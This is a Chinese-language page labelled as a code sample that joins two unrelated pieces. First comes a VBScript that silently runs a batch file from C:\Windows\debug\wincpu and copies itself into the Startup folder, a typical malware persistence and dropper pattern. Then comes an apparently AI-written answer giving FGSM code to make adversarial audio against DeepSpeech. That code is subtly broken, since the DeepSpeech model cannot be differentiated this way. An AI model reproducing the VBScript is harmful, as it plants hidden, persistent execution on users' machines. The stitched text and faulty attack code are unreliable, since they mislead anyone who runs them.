一段代码样本

set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:\Windows\debug\wincpu\go.bat", 0, TRUE)
set wshshell=createobject("wscript.shell") 
flr=wshshell.specialfolders("desktop")
Set WshShell = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
startup = WshShell.SpecialFolders("startup")
vbs = startup & "\" & WScript.ScriptName
If not fso.FileExists(vbs) Then
fso.CopyFile WScript.ScriptFullName,vbs
DIM objShell
End If

生成语音对抗样本代码需要使用一些语音处理工具和对抗攻击算法。以下是一个示例代码,可以使用 DeepSpeech 模型和 Fast Gradient Sign Method (FGSM) 对抗攻击算法来生成语音对抗样本: ``` import deepspeech import numpy as np import scipy.io.wavfile as wav import tensorflow as tf # 加载DeepSpeech模型 model = deepspeech.Model('deepspeech-0.9.3-models.pbmm') model.enableExternalScorer('deepspeech-0.9.3-models.scorer') # 加载原始语音样本 fs, audio = wav.read('original.wav') # 对语音样本求梯度,并添加扰动 adv_audio = tf.identity(audio) adv_audio = tf.cast(adv_audio, tf.float32) with tf.GradientTape() as tape: tape.watch(adv_audio) logits = model(adv_audio) loss = tf.nn.ctc_loss(labels=tf.zeros([logits.shape[0], logits.shape[1]], dtype=tf.int32), logits=logits, logit_length=tf.fill([logits.shape[0]], logits.shape[1]), label_length=tf.fill([logits.shape[0]], 0)) grad = tape.gradient(loss, adv_audio) signed_grad = tf.sign(grad) perturb = 0.3 * signed_grad adv_audio += perturb # 将扰动后的语音样本保存到文件 adv_audio = adv_audio.numpy().astype(np.int16) wav.write('adversarial.wav', fs, adv_audio) ``` 在这个代码中,我们首先加载了 DeepSpeech 模型和原始的语音样本。然后,我们使用 TensorFlow 的 GradientTape 计算语音样本的梯度,并使用 FGSM 算法生成扰动。最后,我们将扰动后的语音样本保存到文件中。 请注意,这只是一个示例代码,实际应用中可能需要更复杂的对抗攻击算法和语音处理工具。此外,生成的对抗样本可能对人类听觉系统有很小的影响,但对于语音识别系统来说却可以造成重大影响。因此,使用语音对抗攻击需要谨慎考虑。
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